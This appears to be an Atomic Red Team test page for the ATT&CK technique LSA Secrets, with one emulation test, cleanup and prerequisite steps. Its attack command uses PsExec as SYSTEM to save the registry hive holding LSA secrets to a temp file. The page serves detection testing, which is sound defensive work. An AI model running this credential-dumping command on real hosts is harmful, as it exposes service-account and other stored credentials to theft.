# T1003.004 - LSA Secrets
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1003/004)
<blockquote>Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)

[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)</blockquote>

## Atomic Tests

- [Atomic Test #1 - Dumping LSA Secrets](#atomic-test-1---dumping-lsa-secrets)


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## Atomic Test #1 - Dumping LSA Secrets
Dump secrets key from Windows registry
When successful, the dumped file will be written to $env:Temp\secrets.
Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.
https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.

**Supported Platforms:** Windows


**auto_generated_guid:** 55295ab0-a703-433b-9ca4-ae13807de12f





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| psexec_exe | Path to PsExec executable | Path | PathToAtomicsFolder&#92;T1003.004&#92;bin&#92;PsExec.exe|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
#{psexec_exe} -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y
```

#### Cleanup Commands:
```cmd
del %temp%\secrets >nul 2> nul
```



#### Dependencies:  Run with `powershell`!
##### Description: PsExec from Sysinternals must exist on disk at specified location (#{psexec_exe})
##### Check Prereq Commands:
```powershell
if (Test-Path #{psexec_exe}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PSTools.zip"
Expand-Archive $env:TEMP\PSTools.zip $env:TEMP\PSTools -Force
New-Item -ItemType Directory (Split-Path #{psexec_exe}) -Force | Out-Null
Copy-Item $env:TEMP\PSTools\PsExec.exe #{psexec_exe} -Force
```




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